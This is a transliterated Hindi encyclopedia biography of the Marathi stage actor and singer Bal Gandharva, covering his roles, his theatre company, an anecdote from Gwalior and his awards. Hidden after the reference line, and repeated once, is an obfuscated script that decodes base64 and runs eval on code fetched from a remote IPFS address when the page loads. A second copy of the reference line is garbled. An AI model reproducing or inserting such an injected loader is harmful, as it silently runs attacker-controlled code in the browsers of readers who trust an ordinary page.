बाल गन्धर्व

	bal gandharv
	bal gandharv\|200px\|center
poora nam	narayan shripad rajahans
prasiddh nam	bal gandharv
janm	26 joon, 1888 ee.
janm bhoomi	pune, maharashtr
mrityu	15 julaee, 1967
mrityu sthan	pune
pati/patni	gauhar baee karnataki
karm bhoomi	bharat
karm-kshetr	marathi rangamanch ke kalakar aur gayak
shiksha	sangit tatha abhinay
puraskar-upadhi	'sangit natak akadami puraskar', 'padmabhooshan'
prasiddhi	rangamanch kalakar
nagarikata	bharatiy
any janakari	bal gandharv ne 'gandharv naty mandali' nam se apani ek sanstha banaee thi. is sanstha ne varsh 1944 tak anek natak prastut kie. yah marathi rangamanch ki siramaur sanstha ban gee thi.

bal gandharv (aangrezi: Bal Gandharva; mool nam: 'narayan shripad rajahans'; janm- 26 joon, 1888 ee., pune, maharashtr; mrityu- 15 julaee, 1967, pune) marathi rangamanch ke mahanh nayak aur prasiddh gayak the. unhoanne rangamanch par apane abhinay ki shuruat sarvapratham shakuantala ka charitr nibhakar ki thi. narayan shripad rajahans ko 'bal gandharv' ke nam se adhik jana jata hai. yah nam unhean bharat ke prasiddh svatantrata senaniyoan mean se ek bal gangadhar tilak ne diya tha. bal gandharv marathi rangamanch par mahila charitroan ko nibhate the, kyoanki tatkalin samay mean mahilaean rangamanch par kisi bhi prakar ki bhoomika nahian nibhati thian.

parichay

rangamanch ke mahanh nayak narayan shripad rajahans ka janm 26 joon, 1888 ee. ko pune ke ek madhyam vargiy brahman parivar mean hua tha. yadyapi oonaka vastavik nam 'narayan shripad rajahans' tha, lekin ve 'bal gandharv' ke nam se adhik prasiddh hue. rangamanch ke unake abhinay se prabhavit hokar lokamany bal gangadhar tilak ne varsh 1898 mean unhean 'bal gandharv' ka nam diya tha aur yahian se unaka ye nam prasiddh ho gaya.

vivah

bal gandharv ki pratham patni ka nidhan varsh 1940 mean ho gaya tha. isake bad unhoanne varsh 1951 mean apani sahakarmi gauhar baee karnataki se doosara vivah kar liya.

saphalata

narayan shripad rajahans ne apane samay ke prasiddh sangitakar bhaskarabuva se sangit ki shiksha prapt ki thi. rangamanch ke prati akarshan ke karan ve 1905 mean 'kirloskar naty mandali' mean sammilit ho ge. un dinoan rangamanch par nari patroan ka abhinay bhi purush hi kiya karate the. prakriti se narayan shripad rajahans ko suandar svaroop aur akarshak dehayashti mili thi. jab unhoanne sarvapratham shakuantala ka abhinay kiya to darshak mantramugdh ho uthe. usake bad unhoanne pichhe mu dakar nahian dekha.

naty mandali

bad mean narayan shripad rajahans ne 'gandharv naty mandali' nam se apani alag sanstha bana li. is sanstha ne varsh 1944 tak anek natak prastut kie. yah marathi rangamanch ki siramaur sanstha ban gee. narayan shripad ne isamean anek mahila patroan ka abhinay kiya, jinamean subhadra, bhamini, devayani, rukmini, revati adi ke nam pramukh roop se liye ja sakate haian.

rochak prasang

ek bar gvaliyar maharaj jivajirav siandhiya ne bal gandharv ke stri vesh mean sahaj abhinay ki tariph ke pool baandhe. divan rajavade sahab ko is par bharosa nahian baitha. bat age badhi aur bal gandharv ki or se rajavade sahab ko chunauti di gayi ki ve rajavade sahab ke ghar haldi kuankoo le kar jayeange. (haldi kuankoo pati aur parivar ke mangal ke lie maharashtriy mahilaoan dvara manaya jane vala tyauhar hai, isamean devi ki pooja ki jati hai. suhagin mahilaoan ko ghar bulakar kuankoo adi laga kar svagat kiya jata hai aur unhean karanji, am pana aur chana dal ki namakin jaise chijean khilayi jati haian) to rajavade sahab ke vade par chaitr haldi kuankoo ke din daravaze par ledi rajavade ke sath 4-5 mahilaoan ka pahara tha. har agantuk mahila ka svagat kar bhitar baithaya ja raha tha, lekin tej najarean sabako dekh rahi thian, tabhi ek kar ruki aur ek abhijaty stri utarian. mahila ne ledi rajavade ko namaskar kiya aur kushal mangal poochha. unhean adar ke sath andar liva liya gaya aur svagat ke sath jalapan karavaya gaya. vah mahila sabase mili aur jate hue ledi rajavade ko dhanyavad de bahar apani kar mean ja baithian. karyakram chalata raha. ledi rajavade ki nazarean to bal gandharv ko pak dane ke lie atur thian. itane mean kar ka draeevar ledi rajavade ke pas pahuancha aur bola bal gandharv apake ghar haldi kuankoo le chuke haian aur vahaan kar mean baithe haian. rajavade sahab shart har chuke the aur kalakar ke charche sare gvaliyar mean tajjub ke sath sune sunaye ja rahe the.^[1]

puraskar v samman

'sangit natak akadami' se unhean sarvottam abhineta ka puraskar mila. 1964 mean rashtrapati ne unhean 'padmabhooshan' ke alankaran se sammanit kiya tha.

nidhan

marathi rangamanch ko nee disha aur aur prasiddhi dilane vale narayan shripad rajahans ka 15 julaee, san 1967 ko dehant ho gaya.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ bal gandharv gvaliyar mean (hiandi) Kavyayani. abhigaman tithi: 15 julaee, 2013.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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[1] rv gvaliyar mean (hiandi) Kavyayani. abhigaman tithi: 15 julaee, 2013.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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